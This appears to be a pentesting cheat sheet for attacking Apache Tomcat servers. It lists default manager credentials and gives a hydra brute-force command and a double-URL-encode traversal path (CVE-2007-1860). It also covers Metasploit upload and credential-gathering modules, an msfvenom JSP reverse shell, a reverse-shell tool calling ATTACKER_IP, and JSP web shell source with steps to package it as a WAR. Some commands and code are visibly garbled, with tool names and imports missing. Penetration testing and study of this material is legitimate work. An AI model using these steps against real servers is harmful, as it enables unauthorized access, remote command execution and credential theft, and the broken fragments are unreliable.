It usually runs on port 8080

Avoid to run with root

In order to not run Tomcat with root a very common configuration is to set an Apache server in port 80/443 and, if the requested path matches a regexp, the request is sent to Tomcat running on a different port.

Username Enum

In some versions prior to Tomcat6 you could enumerate users:

msf> use auxiliary/scanner/http/tomcat_enum

Default credentials

The most interesting path of Tomcat is /manager/html, inside that path you can upload and deploy war files (execute code). But this path is protected by basic HTTP auth, the most common credentials are:

  • admin:admin

  • tomcat:tomcat

  • admin:<NOTHING>

  • admin:s3cr3t

  • tomcat:s3cr3t

  • admin:tomcat

You could test these and more using:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Another interesting Tomcat path is /manager/status, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access /manager/html.


This could be needed.

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f http-get /manager/html


Double URL encode

A well-known vulnerability to access the application manager __ is mod_jk in CVE-2007-1860, that allows Double URL encode path traversal.

In order to access to the management web of the Tomcat go to: pathTomcat/%252E%252E/manager/html

Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token. To access to backdoor you might also need to use the double urlencode trick.


The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from here).

  • /examples/jsp/num/numguess.jsp

  • /examples/jsp/dates/date.jsp

  • /examples/jsp/snp/snoop.jsp

  • /examples/jsp/error/error.html

  • /examples/jsp/sessions/carts.html

  • /examples/jsp/checkbox/check.html

  • /examples/jsp/colors/colors.html

  • /examples/jsp/cal/login.html

  • /examples/jsp/include/include.jsp

  • /examples/jsp/forward/forward.jsp

  • /examples/jsp/plugin/plugin.jsp

  • /examples/jsp/jsptoserv/jsptoservlet.jsp

  • /examples/jsp/simpletag/foo.jsp

  • /examples/jsp/mail/sendmail.jsp

  • /examples/servlet/HelloWorldExample

  • /examples/servlet/RequestInfoExample

  • /examples/servlet/RequestHeaderExample

  • /examples/servlet/RequestParamExample

  • /examples/servlet/CookieExample

  • /examples/servlet/JndiServlet

  • /examples/servlet/SessionExample

  • /tomcat-docs/appdev/sample/web/hello.jsp


Finally, if you have access to the Tomcat Web Application Manager, you can upload and deploy a .war file (execute code).


You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script). Those details can be find under tomcat-users.xml usually defined in /usr/share/tomcat9/etc/tomcat-users.xml (it vary between versions) (see POST section).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"


use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=80 -f war -o revshell.war

Then, upload the revshell.war file and access to it (/revshell/)

Bind and reverse shell with

In some scenarios this doesn't work (for example old versions of sun)


git clone

Reverse shell

./ -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind shell

./ -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Using Culsterd -i -a tomcat -v 5.5 --gen-payload --deploy shell.war --invoke --rand-payload -o windows

Manual method - Web shell

Create index.jsp with this content:

<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
<%@ page import="*" %>
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
<pre><%=output %></pre>
$ mkdir webshell
$ cp index.jsp webshell
$ cd webshell
$ jar -cvf ../webshell.war *
webshell.war is created

You could also install this (allows upload, download and command execution):


Name of Tomcat credentials file is tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Other ways to gather Tomcat credentials:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

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